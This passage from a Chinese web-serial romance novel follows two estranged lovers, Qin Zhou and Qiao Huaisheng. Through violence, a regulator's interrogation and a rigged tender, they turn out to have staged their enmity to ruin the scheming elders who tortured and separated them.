顾舟垂眸看了眼面前的手机——不知如何,乔淮生今天还没有给他发消息。 眉头隐隐皱起,面对秦之昭也多了几分不耐:“所以呢,你来找我有什么事吗?” “没什么,只是……叔叔想见见你。”秦之昭语气温和,“毕竟秦家现在也只有你一个小辈,人到中年,总是想看着身边有个孩子。” 秦家唯一的继承者,甚至有可能在秦之昭死后得到全部的纵缰,这对任何人来说都是难以割舍的诱惑。 但是顾舟连想都没想:“不用了。” 他说:“我有家人了。” 他跟乔淮生在一片狼藉中出逃,各自舍弃了一切。 他们只有彼此,也只会要彼此。 秦之昭轻轻地笑了声:“没关系,不用对叔叔这么抗拒。” “再说了,不想见见你爸爸妈妈吗?” 察觉到朝这里靠近的人,秦之昭将手中的照片推出去:“你看,这就是你父母,当时他们出事的时候你刚刚一岁,家里正要准备你的周岁宴,就……” 照片上的女人温柔漂亮,男人凌厉英挺的眉眼与顾舟有几分相似。 只一眼,秦舟就确定秦之昭说的是真的。 原来他也是有来处的人。 余光瞥见朝这里望来的乔淮生,秦之昭推了推眼镜笑起来,是一副愉快舒适的闲谈姿势:“你爸妈如果知道你现在长这么大,一定会很高兴。” 顾舟轻轻地笑了声。 他爸妈如果知道他现在长成这样,估计首先应该是失望吧? 只是……顾舟看着照片上两人手指上一模一样的戒指和幸福的笑。 那种想要跟乔淮生组建家庭的感觉更加强烈起来。 还要怎么才能亲密一点呢?要怎么才能将他烙印在身上呢? 不如把他们的名字写在一起,就算是死亡,也应该被并列。 而不是像他这样,被孤零零地留下来。 “你也很想他们,是吧?” 秦之昭微微凑近,一副长辈的姿态,旁边的乔淮生消失了,他勾了勾唇角:“小舟也有喜欢的人了吧?” 顾舟抬起头,眼神一瞬间变得凌厉。 那是秦之昭第一次见到顾舟这个眼神,像是从泥堆里爬出来的恶犬,充满警惕与戒备,仿佛因为一个人,就能不要命地去厮杀。 “别误会,”秦之昭轻轻地抚了下腕表,“我只是想到,你父母如果能够见到,应该会很开心。” “秦之昭,”顾舟冷冷地叫他的名字,“你到底想要干什么?” “我都说了,叔叔只是想来看看你,我……” “如果我没记错,你让下属来做我的客户,跟了我三天才来找我的,这三天我一直住在公司,”顾舟说,“但是你还是知道了他。” 想起这一点,顾舟不由自主捏紧了指骨。 “我不认为这个世界上有无缘无故的好意,更何况,我只是你八竿子打不着的侄子,我们之间的关系,应该也没有那么近吧?” 秦之昭笑了声,垂眸看了眼顾舟紧攥的手,虽然他的气势依然强势,但是毕竟还是个没经过什么的孩子,他越是警惕,只会越让秦之昭觉得自己的正确。 “别紧张,”秦之昭说,“我也只是这么一提。” “只不过,我听说……”秦之昭观察着他的反应,“乔南山好像也来这里了。” “听说……是要找什么人。” 咔嚓,传来指骨被捏响的声音。 顾舟的瞳孔骤然紧缩,不可抑制地想到乔淮生从楼上跳下来,满身是伤的来找他。 秦之昭将他的一切反应尽收眼底,最后才轻飘飘地补了一句:“没关系,如果你需要叔叔的帮助,可以随时来找我。” * 秦之昭果然一周后见到了顾舟。 那人已经完全没有了之前的淡然强硬,头发被雨水淋得湿乱,身上也带着不知何时留下的擦伤,形容狼狈,没人知道他怎么绕过严格的安保找到这里,几乎是扑过来抓起秦之昭的领子:“乔淮生呢!” “你知道他在哪里对不对?! 你知道的!” 顾舟眸光赤红,像是一头被逼到绝境的困兽:“乔淮生呢!说话!你说话啊!” “秦董!” 身边的保镖立刻朝着他冲了过来,试图要将顾舟按住。 可是顾舟比更快,几乎在那些人碰到他的一瞬间,弹簧刀就出了手,刀刃离秦之昭的脖颈只隔一线:“乔淮生在哪?” “你要对我动手?”秦之昭凝视他那张和秦彦相似的脸,“你知不知道,如果不是你长这个样子,你现在就应该被人一枪打爆脑袋了!” 顾舟冷笑了一声,刀刃用力,脖颈处很快就渗出了鲜血,他的笑容无畏又癫狂:“那就死吧。” 他这两天找遍了乔淮生可能出现的所有地方。 可是都没有。 如果真的找不到。 那就死吧。 大家一起死。 刀子再用力一点就要割破喉管,明明是个什么也没有的蝼蚁,可偏偏带着不要命的勇气,只因为这一点,就有了可以跟大象谈判的能力。 秦之昭看着他那似曾相识的脸,一瞬间想起许多年前的名字。 秦彦,他的阿彦。 他的阿彦没有了。 乔家的人凭什么幸福的活着? “好啊,”秦之昭不躲不避,反而朝着他迎了一步,“我可以带你去见乔淮生。” 然后顾舟就看到了他此生都要反复发作的噩梦。 秦之昭将他带到了一间房间里,透过监控器的屏幕,他可以清晰地看到乔淮生是怎样被人绑在电击椅上。 那个他连沙发一点不舒服都要打工去换的人,晚饭少吃一口的都要牢牢记在心上的人。 顾舟眼睁睁看着他们将电极片放在乔淮生身上,看着他全身抽搐,像只濒死的蝴蝶一样挣扎。 画面里没有声音,可是顾舟那歇斯底里的惨叫却仿佛已经穿过他的耳膜刺破心脏。 顾舟想要干咳,才发现是从自己的喉咙里发出吼声: “放了他!!!” “秦之昭!你让他们放了他啊! 放人!快放人啊!” 顾舟一下一下地撞到墙上,像是被逼到绝境的野兽,试图用身体扣开那层紧锁的房门:“秦之昭! 你不是想让我回秦家吗?!我答应你! 我什么都答应你!” “秦之昭!秦之昭!”顾舟不敢再往那个画面上看一眼,一把揪住秦之昭的领子,“你一定有办法的对不对!快让人放了他!不然我……” “杀了我?” 秦之昭嗤笑一声:“那更好啊,你在这个世界上唯一可以求助的人也没有了。” “这可是他的亲生父母的杰作,”秦之昭说,“你觉得整个宁市除了我,还有谁能跟恒盛抗衡?” “凭你这一腔热血吗?乔南山要是知道自己儿子看上的那个男人是你,怕是连恒盛的大门都进不去,就把你弄死了吧。” 秦之昭冷笑一声:“你觉得如果不是我,你能见到他吗?” “我告诉过你,顾舟,这个世界上没有权势就什么也做不到。” “你救不了他,他也等不到他你。” 顾舟松开手,很轻地望了屏幕一眼。 他不再吼叫了,连这种声音都怕伤害到屏幕另一端的乔淮生。 那边的电击停下了,乔淮生靠在椅背上剧烈的喘息,然后,他们开始给他播放影片。 乔淮生最喜欢的电影,提起来都会闪闪发光的样子,此刻却成了折磨他的刑具。 顾舟的胸口跟着剧烈起伏起来,如果他现在有一把刀,他发誓会冲进去把那些人全部杀掉,连同他自己。 但是他做不到。 从没有一日如同现在憎恶过自己,当然,或许还应该庆幸,他那个从未体会过温暖的家庭里,或许还有最后一丝用途。 顾舟望向秦之昭:“你想让我做什么?” 秦之昭手指搭在椅背上:“我以为,你求人应该有求人的态度?” “小舟,你今天忤逆长辈太多次了。” 顾舟的手指紧紧地掐进掌心,从指骨上摸到戒指的轮廓,他望着镜头另一端的乔淮生,膝盖砰得一声砸到地上:“对不起,叔叔。” 秦之昭终于露出了胜利者的笑容。 “我可以帮你把乔淮生救出来,但是小舟,”秦之昭说,“秦家需要一个完美的、合格的继承人,他不应该爱上一个男人,尤其还是不死不休的对手,你明白吗?” 顾舟紧紧地闭上眼睛,指尖颤抖,声音沙哑:“好。” 乔淮生出来后,才听说那部《白日焰火》被卖了。 他的顾舟,他宁愿忍受痛苦都不愿出卖的人,改姓了秦…… 秦舟仰头看着乔淮生落下的拳头,他有一万种方式躲过去,但是他没有动,甚至连眉头都没有皱一下。 就这样看着这场充满鲜血与痛楚的告别。 如同初见。 “做你的大少爷开心吗?拿着我的梦想做你的投名状,终于爬上这个位置,终于有那么多人看你的脸色关心你,满意吗?” “是。” “但是,我会恨你。” “好。” “这是你先背叛我,我不会原谅你。” “好。” “我不会放过纵缰,还有你。” “好。” 秦舟望着居高临下的乔淮生,他的眼角有一滴泪,秦舟想要帮他擦掉,却终究没能抬起手来。 他只能听着乔淮生说:“现在,我们分手了。” 那就这样吧,秦舟想。 那就这样吧。 他从来没有在意过权势。 但是如果只有这样的权势能够拯救他的爱人。 地狱或是修罗,他不在乎。 * “怎么……你要杀了我吗?” 秦之昭被他扔到墙上,脸色已经因为缺氧而变得发紫,秦舟终于从那种歇斯里底地愤怒中回过神来,将手放下了。 权势确实是个好东西。 能让他和乔南山对话,也能让秦之昭脸上露出忌惮的神情。 但是,如果只是这样怎么行呢? 他用了那么久的时间,才让秦之昭相信,他是一个好的工具,是打败乔南山的人。 既然已经有了权势,自然要发挥它最大的用途。 那样伤害过乔淮生的人,他一个也不会放过。 包括秦之昭……以及他自己。 “当然不会,”秦舟松开手指,“您说的对,秦董,到目前为止,我们应该还是合作关系。” “资金链断裂,恒盛又急着将股票交给银行,他们需要钱,我们也是。” 秦之昭欣赏地望着他,其实只要不涉及乔淮生,秦舟一直是一把好刀:“你打算怎么做?” “既然他们要收,我们就往里砸,抬高股价,让他们交不上货。” “可是因为清江湾,纵缰的流动资金本来就不多了,现在……” “秦董,”秦舟冷冷地看了他一眼,他说了一句乔淮生劝乔南山时一模一样的话,“能够一次性扳倒恒盛的机会,这辈子应该只会有这么一次,你确定还要跟乔南山继续纠缠下去吗?” 他的手指撑在椅背上,逼近他:“不是你让我多想想堂哥的吗?” 秦舟从未主动提起过秦彦,事实上秦之昭应该对此保持警惕,但是那一刻,他几乎被这种想象中的胜利冲昏了头脑。 纵缰再次砸下几十亿,和恒盛在股市里斗得昏天暗地。 一家独大或是两败俱伤,那几天,新闻上全被这些消息淹没,无数股民涌进去押宝。 秦舟频频出席各种场所,以纵缰的名义借下了一笔笔外债,甚至将杠杆加到了一碰就炸的地步。 而这一切,在证监会接受调查的乔淮生并不知情。 * “乔先生,”工作人员说,“这边请。” 乔淮生跟着在房间里落座,这才有空摊开手心。 掌心里是秦舟在晚会上抓着他的手腕时,强行塞给他的—— 那是一枚戒指。 一枚价值三亿的戒指,几乎用光了秦舟五年来所有的积蓄,包括他在五年里,一点点地搜罗来所有乔淮生可能会喜欢的东西。 只是戒指的内圈里,被人刻上一朵鲜艳欲滴的玫瑰。 他是乔淮生曾经在顾舟身上作的画。 “高端设计师的是不用想了,不过你有一个特权,等忙完这一阵,未来的大导演亲自给你刻一个。” “可是我什么都没有刻。” “那我来刻,可以吗?” 可以吗?可以吗?可以当作什么都没有发生过吗? 戒指上带着一点血迹,将乔淮生的手指都染红了一点——仿佛是有谁握着的时候过分大力,以至于将鲜血沾到了戒指上。 怎么还是弄成了这个样子呢? 乔淮生望了一眼四周黑漆漆的屋子,有那么一瞬间,他忽然想起他佯装醉酒的那一天,秦舟问: “乔淮生,你做这么多,到底是真的想要纵疆,还是因为别的?” “你选一个,我送给你。” 乔淮生垂下眼睛,将戒指递给他的一瞬间,秦舟说的是: “答应你的,我会做到。” 第43章 第四十三章 “我现在也可以为他连命都…… 乔淮生将那枚戒指戴在了手上, 指腹轻轻摸索着戒指的花纹。 “乔先生,下面我们将就恒盛的资本运营情况对你进行例行问询, 希望你能如实作答。” 调查员将笔记本摆在桌上,翻开第一页:“一个月前,证监会调查到,你将锦城的一家锦盛金融的保险资金违规作为高风险投资使用,做空纵疆集团股票,累计资产达20亿。这些交易与您公司的股票流向高度吻合,我们需要您对这一行为作出解释?” “解释, ”乔淮生轻笑了一声,向后靠在椅背上,“不是我做的事情, 我不认为自己需要对此作出解释。” 调查员想了很多从这位大少爷嘴里撬出东西的话术,但是万万没想到, 这位大少爷居然不承认。 更过分的是,乔淮生不仅不承认自己在锦城的违规操作, 他甚至连针对纵疆的做空都不承认。 明明已经在报纸上沸沸扬扬的事情, 可在乔淮生这里, 他仿佛成了一只一无所知的小白兔。 “你以为抵赖有用吗?”旁边的调查员猛地拍了一下桌子,“我们这里写得清清楚楚, 你明明是……” “你们真的清楚吗?”乔淮生看了他一眼,“锦荣资本是我收回来得不错。” “锦荣资本确实是我们公司的关联方,但是就在拿回来锦荣的当天, 我父亲就以“优化税务结构”为由,将锦荣资本的决策权转移到他私人的信托基金名下。” 乔淮生摊了摊手,一个无奈的,却更像是运筹帷幄的姿势:“我只是公司的总经理, 最多管管执行上面的事情,我父亲的资金交易,我怎么会知道呢?” “你不知道?”那调查员皱起眉,“你父亲把公司资产转移,你骗鬼呢,你……” “乔淮生先生,”另一位调查员拦住他,冷冷地扫向乔淮生,“如果你这么说,我们是需要提供相关文件的,否则便算是妨碍调查。” “我知道,”乔淮生点点头,“我当然可以提供证据。” “而且,比你们想象的要多。” 他轻轻地拂了下指腹的戒指:“我的律师就在外面,我想,他手中应该有我刚刚提到的东西。” 两位调查员脸色一变,相互对视一眼。 他们为了不引起怀疑提前串供,几乎是在婚宴上把人带出来的,看乔淮生南山的表情,不可能有提前知道的机会。 但是为什么……乔淮生却好似早就准备好了这一切一样。 看清楚调查员的脸色,乔淮生往椅背上一靠,仿佛这里不是接受审问的调查室,而是人群涌至的会议室或是礼堂,好似无论什么时候,乔淮生都有这种吸引所有的目光的能力。 “不仅如此,”调查员抱着一堆材料去而复返,乔淮生嗤笑了一声,“我父亲乔淮生南山还多次通过“交叉货币掉期”将人民币兑换为美元,提供了虚假的贸易合同作为掩护。” “你手里那堆合同里,有一张。”乔淮生一抬下巴,那调查员一瞬间以为面前是领导,下意识就要去找文件,很快又反应过来,“你!” “有一张,”乔淮生微一耸肩,不慌不忙地说完了下半句,“《东南亚供应链合作协议》——表面上看,这是一份价值15亿的橡胶进口合同,但实际上,合同中的供应商“宏远贸易”是一家空壳公司。” “我父亲借助锦荣资本和“宏远贸易”设立了离岸SPV操作,以规避市场监管。” “对,”调查员匪夷所思地看向手中的东西,乔淮生一点头,“就是这个。” “你说的是这……” 调查员刚想询问,猛地发现自己居然又将乔淮生当作上司了,心头一惊。 “乔淮生先生,”另一个研究员接过话,“我可不可以冒昧地询问一下,你是什么时候开始准备这些的?” 从证监会出现到现在,乔淮生除了在路过秦舟的时候失控了那么一瞬间,其他时候,都表现出一副成竹在胸的样子。 就好像……他是一早就准备好了这一切,就等着他们过来。 乔淮生微一抬眼,笑了:“什么意思?” “我想乔淮生总应该很知道我是什么意思。” “我不知道啊,”乔淮生一摊手,“我只是从审计那里知道了公司出现了问题,而我作为一个合法且乐于配合的管理者,调查了公司财务状况,并主动将调查结果交给了你们,我想,像我这样帮助各位工作的良好市民应该得到嘉奖吧?” “就算你上面的东西是真的!”调查员将手上的文件甩在这里,“可是乔淮生南山是你父亲!他做的事情你难道真的就一点都不知道!” “你又是他唯一的继承人,你有什么理由在这个时候举报他?” 理由? 理由其实很简单。 因为乔淮生南山不信他。 一个父亲或许不该怀疑自己的儿子。 但他和乔淮生南山,这辈子也没有过父慈子孝的时候。 乔淮生没有说谎,乔南山确实从来没有给过他公司的控制权。 因为他比任何人都知道乔淮生和顾舟是怎么分开的。 那种离开对方就要死去的存在,将自己的心脏切下来一半还能够跳动吗? 但是他和秦之昭还是将他们分开了,还将他们放在同一个战场上,试图将他们当成自己的兵刃去厮杀。 可是他们又提防着他的叛变,警惕着他们的倒戈,无时无刻不在提醒着他们不要旧情复燃。 而现在,终于到了这种提防和警惕化成冰刃,刺向他们的时候了。 他在第一天见到秦舟的晚会上就动了手,这样不镇定不理智不潇洒的纠缠,乔南山怎么会放心把公司交给他呢? “我当然不知道,”乔淮生轻轻地笑了声,“事实上,我跟我父亲关系并不好。” 那调查员几乎又想反驳,却听到乔淮生轻飘飘道:“因为我是一个同性恋。” “我父亲以我为耻,这么多年,他一直想要我改掉,可惜没有成功过。” “而我当然也并不尊敬他,”搭在桌上的手指收紧,“事实上,我恨他。” 乔淮生终于说出了这句话,好像是给自己曾经十几年的愚蠢一个答案。 他早该恨他。 “我的父亲曾经因为这个,将我送到过戒断中心,进行惨无人道的折磨,”乔淮生抬起头,扯了扯嘴角,“仅凭这一点,我都可以起诉他故意伤害。” “而且,”乔淮生轻轻抚过手中沾着血的戒指,“因为他,” “我的爱人死去了。” “调查官大人,”乔淮生的身体微微前倾,那双漂亮眼睛带着蛊惑般的勾人神情: “你觉得我有什么理由包庇他吗?” * “小舟?” 秦之昭过来的时候,只看到汽车扬长而去:“渡川的人走了?” 乔淮生被关进证监会的当晚,纵缰就宣布注资三十亿,正式宣告对恒盛的反做空。 但是清江湾项目失利,纵缰根本就没有那么现金流——直到一个完美的白衣骑士,“渡川”资本的出现。 资本在国外,跟纵缰还有恒盛都没有什么业务往来,除了管理者神秘了一点,给钱却很爽快。 “嗯,”秦舟点点头,“他说,稍后就会把十亿打过来。” “很好,听说证监会已经开始调查恒盛了。” 一想到乔南山最后的结局,秦之昭就不由得笑起来:“你这次做得不错。” 他望着秦舟,好像是望着自己亲手磨好的一把刀:“你放心,等恒生倒了之后,我会把乔淮生交给你处理。” 秦舟嗤笑了一声。 却没回应他这个问题:“但是渡川给了最后的还款期限,利息又很高,恒盛现在资产被冻结,根本就是个空壳子,我们还是先想想怎么用别的方法筹到这笔钱。” “你想怎么做?” “三天后的新地港项目,”秦舟微微眯起眼睛,“听说恒盛也会过去。” “这是他们唯一的救命稻草,不然……帮他们拔了?” “我早该知道,”秦之昭拍拍他的手臂,“你一旦真的狠起来,确实连乔淮生都比不过去。” “他好歹也有点顾忌,你没有。” 秦舟或许有,意识到这一点,秦之昭不知怎地突然想起一件不相干的事情—— 按照证监会的调查流程,如果不出事的话。 乔淮生,好像恰好也是三天后出来。 * 第三天,招标会上坐满了人。 就算不打算投标,也多得是人来看热闹,如果说清江湾是纵缰跟恒盛打的第一场仗的话,那么新地港——很可能是最后一场。 谁都知道,恒盛的大少爷被带走调查,公司现金流又被冻结,纵缰又在这个时候恶意放出看跌消息,市值一夜之间蒸发了几十亿。 至于纵缰,之前的清江湾项目失利,为了挡住恒盛的进攻,纵缰不得已引入白衣骑士,现在还在想办法把股票从别人手里赎回来。 只差一步就摇摇欲坠。 新地港,是他们共同的稻草。 “稀客啊,乔董。” 秦之昭率先迎过去,冲着乔南山装模作样一伸手:“今天居然能亲自来招标现场。” “哦我忘了,”秦之昭说,“原来是贵公子已经进去了,我觉得……你应该很快就能跟他做个伴了吧?” “秦董说得这么好听,秦舟怎么也没有在你身边。” 乔南山冷笑一声:“不会是因为秦董事情做得太绝,所以反目了吧。” “哦,我也忘了,你们秦家的人一向不太正常,又喜欢上赶着!” “乔南山!”秦之昭放在轮椅上的手青筋暴起,“你有什么资格提起阿彦!” “我有什么资格?”乔南山说,“如果我没有,你又有什么资格!” “如果不是你嫌阿彦是个耻辱将他赶出家门,他又怎么会走到那一步!” 这个话题一直是他们两个的禁忌,但是现在,他们好似两个终于撕开假面的困兽:“秦之昭!你恨了我这么多年,无非是因为你不敢怪自己!你才是个彻头彻尾的懦夫!” 秦之昭被气得脸色发青,手指紧紧地按在轮椅边缘,嘴唇发抖:“是,我是要怪自己,但那也是你死了之后!” “你不是问秦舟做什么去了吗?我现在就可以告诉你!” 秦之昭说:“等你这一仗失利,恒盛大势已去的消息会在下一面就传遍整个宁市,而秦舟,将会亲自主持对恒盛的反向收购。” “或许秦家的人都是疯子,但是好在,我养出来的疯子,似乎比你养出来的中用些。” 说完这句,秦之昭微微凑近乔南山,压低声音:“我告诉他,等他彻底拿下了恒盛,就把乔淮生送给他,让他永远只能看着他一个人。” “但是好像……”秦之昭轻笑了声,“死人,应该也可以只看着一个人吧?” “秦之昭!” “嘘,这么激动做什么,”秦之昭说,“当初如果不是你的默许,我又怎么会那么顺利的拿到戒断中心的监控……又能带顾舟过去。” “明明是我们俩把他们拆开,各自领了一把刀回去。” 秦之昭缓缓笑了:“现在你的刀斗不过我的,这怎么能是我的错呢?” “秦之昭,我弄死你!” “请各位保持安静,”主持人走上台,“我们的唱标马上开始了。” 秦之昭这才收回视线,坐回到原位上。 乔南山就在他隔了一条走廊的另一侧,事实上,这一直是参加任何会议时,乔淮生和秦舟的座次。 而在秦舟尚未归来的五年里,他的旁边都是纵缰的副总。 可现在,两个背后的裁判终于不得不被逼上了桌。 “怎么样?”主持人开始走流程,乔南山压低声音问旁边的助理。 “放心吧乔总,”助理说,“我已经打听过了,这次新地港上面的流程要得很急,我们的项目方案比他们多了三个月,不可能赢不了。” “秦董!”另一侧,程阮也匆匆跑过来,压低声音附在秦之昭耳边,“都以为确认过了。” “恒盛的底价确实是这个,”程阮比了个手指,“我们在总价上又降了8.7%,五亿三千万的报价,恒盛不可能有优势,这一次,我们一定按死他!” 秦之昭和乔南山点点头,各自往后一靠。 在商场里沉浮了这么多年,他们自以为要比那些不懂事的小辈要熟悉规则得多。 当然,也更应该拥有最后的胜利。 “关于新地港项目竞标企业如下,下面开始宣布标书!” 主持人的声音响起,所有人的目光都汇聚到第一排。 那上面的乔南山与秦之昭,历来都是整个宁市的目光所在,他们斗了十几年,也理所应当承受这样的目光十几年。 乔南山整了整衣领,好让自己更加体面地接受子最后的胜利。 见状,秦之昭冷嗤了声,乔家的人一向喜欢这样华而不实的仪式感,那个乔淮生也是,将乔家的矫揉造作学了个十成十。 但越是这样,最后落下来的时候,才会摔得越惨。 “证监会那边的事安排得怎么样了?” “您放心秦总,”秘书压低声音在身边恢复,“恒盛出发去接乔淮生的车已经被我们监控了,等秦总忙完那边回去,绝对已经……” 秘书比了个手势,秦之昭轻笑了声。 等到恒盛到了,死一个不重要的落魄少爷又算得了什么,当年他没能教给秦彦的,现在……他会让秦舟知道。 “最后获得本次新地港项目的企业是——” 主持人读完最后一句。 乔南山和秦之昭对视一眼,彼此从对方的眼中看到了胸有成竹的目光。 直到主持人的声音落下:“中标企业——易遇科技!投标者:宁斯与!报价,五亿两千万!” “恭喜宁总!” “居然是易遇,他们怎么会来承接这个项目?” “新地港的投标企业要求至少要上市吧,易遇前段时间不都要倒闭了吗,他们哪来这么多钱?” “宁斯与是谁?之前从来都听说过,易遇那个老板不是半截身子都入土了吗?” “别管是谁,现在半路杀出来这么一个黑马,纵缰和恒盛不会完了吧?” “就是,纵缰报价五亿三,他就报五亿二,卧槽这不是故意羞辱式打法?” “宁斯与?” 乔南山和秦之昭的脸色已经变得铁青,看着宁斯与从场外进来。 他跟之前在乔淮生身边时那副唯唯诺诺的样子完全不一样,穿着一身剪裁精致的白西装,从门口过来的时候,差点以为是乔淮生本人。 秦之昭很快意识到,他之所以这么认为,是因为宁斯与身上这件衣服,跟乔淮生那天在拍卖场的一模一样。 他还在第二天把那些报纸摔到秦舟身上过。 “你是……”秦之昭眯起眼睛,“乔淮生包养那个的小东西?” “说包养未免有些难听,毕竟我跟乔总也没有什么实质性的关系,”宁斯与走到他身边,“不过,我能有今天的成就,确实是要谢谢乔总。” 宁斯与的长相本来是偏温和的,原本是不被注意的人选,此刻却能居高临下地站在他们面前。 最重要的是,本来只能在纵横两家流转的标书,现在居然被一个突然冒出来的易遇给截胡了,不管是对秦之昭还是乔南山来说,这都是在往他们的脸上扇巴掌! 更何况,如果没有钱,他们的公司怎么办! “不可能!”乔南山直接从座位上站了起来,“你怎么可能会有这么多钱来参加什么竞标,乔淮生!是不是乔淮生给你的!” “我早该知道,这个逆子,他就是巴不得我早点死了好拿走公司!” “乔总?”宁斯与嗤笑了声,“乔总现在不是还在证监会里吗?” “而且,就在他被证监会带走的当晚,你就为了撇清干系撤了他的职,这种时候讲什么父子情分,乔董,我都替你害臊。” “乔淮生不知道?! 他怎么可能不知道,”被一个小辈这么压着,生平第一次,乔南山在这种公众场合失了分寸,几乎就要破口大骂,“那个逆子不知道,你现在的钱是哪里来的,他晚上给你的小费吗?” 只可惜,宁斯与并没有跟他吵起来。 当初他在求到乔淮生面前之前,听过太多远比这还要难听许多的话。 是乔淮生救了他。 是乔淮生把他送到现在这个位置。 所以,就算是为了乔淮生,他也要将最后这场戏演得漂亮。 “哪来的钱?”宁斯与模仿着乔淮生当初的语气,“那不是乔董你给我的吗?” “是您放出恶性消息压低纵缰的股票,又融资沽空纵缰。” “纵疆的股票最低的时候是15.8一股,最高的时候却有75.3,3个亿下去,转手就有了十八个亿。” 这一场仗,恒盛跟纵缰两败俱伤,甚至要闹到他们两个亲自出马来争同一个标书的地步,市值蒸发了几十亿。 可那些少了的钱去了哪里? 在他们两虎争斗的过程中,有没有人暗中躲在山里,就等着最后的致命一击,渔翁得利。 但是,宁斯与一个学生,他怎么会知道的那么清楚? 谁能提前让他知道股票的走势,让他知道提前知道他们什么时候会对纵缰动手,什么时候会开始收割? 他一直监听着乔淮生的手机,他明明一直监听着乔淮生的手机! 可是那一瞬间,乔南山忽然想起,当初有一次,乔淮生将宁斯与从车上揪下来。 乔南山以为他是跟小情人的情趣。 可是现在想想,就是从那天开始。 就是那天开始,乔淮生从拍卖会上赢了三个亿,开始对纵缰动手。 三个亿……三个亿,换了十八亿。 他的那个好儿子,到底是从什么时候开始布的这个局呢? 又到底是……针对谁的局? 乔南山脸色煞白,猛地往后退了一步。 “乔南山先生,”几个人却穿过坐席来到他的身边的,“我们是证监会的。” 当初带走乔淮生的人终于来到了他的身边,只是表情要严肃得多:“我们已经有足够的证据证明,您和您名下的恒盛涉嫌离岸资本操作,请配合我们接受审问。” “什么?审问?证监会都这么说了,那岂不是板上钉钉的事了。” “恒盛的现金可还没被冻结着呢,现在一个还没放出来一个就进去,不会真要完了吧。” “就算不进去又能好到哪里去,恒盛搞了八倍的杠杆去压纵缰,现在银行的钱还不上,马上就要进行破产清算手续了!” “行,行,”乔南山嘴唇颤抖,猛地吸了一口气,“早知道这样,我当初就该把他掐死!” 宁斯与微微眯起眼睛:“乔董。” 他说:“乔总也让我转告你一句话——” “他说如果能选,他也不愿意你做他的父亲。” “更何况,你也从未做过一天合格的父亲。” 乔南山脚步一顿,脊背弯了一瞬,又很快被那些人按住了。 “真是感天动地的父子情深,”秦之昭抬手鼓掌,“原本想过找一把好刀,没想到,输在自己儿子手里。” 秦之昭笑得更开心了,甚至主动朝着宁斯与伸出手:“为了感谢你帮我弄倒恒盛,你拿纵缰当跳板赚钱的事我可以不追究。” “不过恒盛一倒,宁市会是我们新的天下,再狂妄的新人也需要引路者,”秦之昭自以为彬彬有礼地一躬身,他向来擅长这样收买人心的事情,“我觉得,我们可以合作,不是吗?” 可是宁斯与冷笑了一声:“合作?” “我跟你有什么好合作的,”宁斯与摊了摊手,“我们不是单纯的债务关系吗?” “如果我没记错的话,您现在还欠着‘渡川’钱吧?” “你说‘渡川’是你……” “不可能,不会,”秦之昭极力摇头,像是在反驳自己似的,“你哪来的钱,你怎么会有这么多资金?秦舟都说了是国外,他……” 讲到这一句,秦之昭的声音戛然而止。 是啊,这是秦舟说的。 秦舟可信吗? 或者说,他凭什么觉得秦舟可信呢? 因为乔淮生在当年分开的时候亲手打断了他一条腿,因为乔淮生在第一次重逢的时候就差点要弄死他。 因为乔淮生骗他去了锦城,因为乔淮生让他一无所有。 所以他才觉得,他们应该是敌对的,竞争的,不死不休的。 可如果不是呢? 如果不是呢? 仅凭乔淮生一个人,怎么会知道纵缰的最后报价,让他卡着一千万的坎来羞辱自己。 仅凭乔淮生一个人,怎么会让纵缰一而再再而三的失利,被迫卖股票引“渡川”入局。 如果他们从一开始,就是演给他和乔南山看的一场戏呢? 乔淮生被抢了清江湾,让乔南山以为他恨透了秦舟,听信他设计做空纵缰。 于是恒盛不惜高风险融资加杠杆,负债足可以让自己破产。 秦舟被乔淮生算计到一无所有,让秦之昭以为他会因为乔淮生的订婚而发疯,打算亲自把人打断了抓过来,于是听信他找上了“渡川”。 可是他们利用恒盛沽空纵缰的机会赚了十八亿。 又把其中的十亿借给纵缰,成为他最大的股东。 恒盛和纵缰在这个过程中两败俱伤。 所以,谁在得利? 乔淮生是什么时候和秦舟串通好的……又是什么时候,找上了宁斯与这步棋? 那些在他们身边的争吵、凌虐、疯狂……到底有多少是在——演戏? 演给他看的戏,演给乔南山看的戏。 当年他和乔南山费尽心思地想要将他们拆开,以为让秦舟卖了乔淮生的电影就能让他们反目。 但是,但是乔淮生—— 他真的相信过吗? 秦之昭心中油然一股恐惧。 “乔淮生呢!”秦之昭生平第一次露出这样的神情,眼珠瞪得极大,几乎要快要轮椅上站起来,“乔淮生呢,我不是让你们去跟着他的吗?乔淮生呢!” 只是偌大的厅内空空荡荡,一个时代落幕了,连他的狼狈都无人观看。0 * “乔先生,您现在可以出去了。” 工作人员恭敬地将乔淮生引到门口:“您的嫌疑虽然暂时可以洗脱,但是最近这段时间还是最好不要离开本市,以便随时准备传唤。” “好。” 乔淮生点点头,这才从他手中拿过自己的手机。 还没来得及看消息,一个电话就打了进来,带着一点磁性的声音从听筒中传出: “戒指喜欢吗?” 乔淮生轻笑了声,他不用看那串号码,就知道这个电话的来源。 在证监会斗智斗勇了那么多天,直到现在,乔淮生好似才终于将心脏放回原位:“喜欢。” 他一边往停车场走一边道,“如果没有沾血就更好了。” 话音刚落,那边便传来一声轻笑。 “没办法,”秦舟一只手搭在车门上,轻轻地转了下手上的戒指,似有所指,“总是要沾一点血的。” 他们这条路上,总是要沾点血腥,仇恨和疯狂。 才能得到彻底的终结。 “是啊。”乔淮生也笑了下。 很轻松的笑,仿佛他们只是一对相互牵挂于是电话调笑的情侣。 这其实不该是他们现在的状态。 但是偏偏,当乔淮生从证监会里出来,他们之间唯一的对话居然只有这么几句闲聊般的提问。 没有问那场背叛到底是谁做的,没有问股价和招标,甚至也没有问秦舟那天在婚宴出现到底是过来做什么的。 好似他们从来也并未在意过这些。 乔淮生只是望了眼外面的日光,语气像是在感叹: “不过,终于要结束了吧。” “嗯。”秦舟跟着望了一眼,轻声应道。 “乔总,”司机领着乔淮生到了停车场,却往另一侧走去,“秦总说让我带你坐这辆。” 乔淮生看了眼自己面前的车,纯黑色的雷克萨斯,线条张扬,充满野性的暴力,是一眼就会在赛场上驰骋的型号。 “你送的?” “是,”秦舟说,“想想还没有送过你车。” “我要是真是在意车,从你第一次把关硕的车撞坏的时候就该让你赔。” “隔了五年才赔上,”秦舟说,“希望乔总不要太嫌弃。” “恒盛的车不吉利,新的一天,换辆新的?” “还行吧,”乔淮生审视了一圈,“不过毕竟以后不是总裁了,还是建议低调一点。” 话是这么说,乔淮生还是笑着坐了上去,吩咐司机:“走吧。” 秦舟就在停车场另一侧的位置,眼看着乔淮生的车子出了门,才将车窗升上去:“乔淮生。” 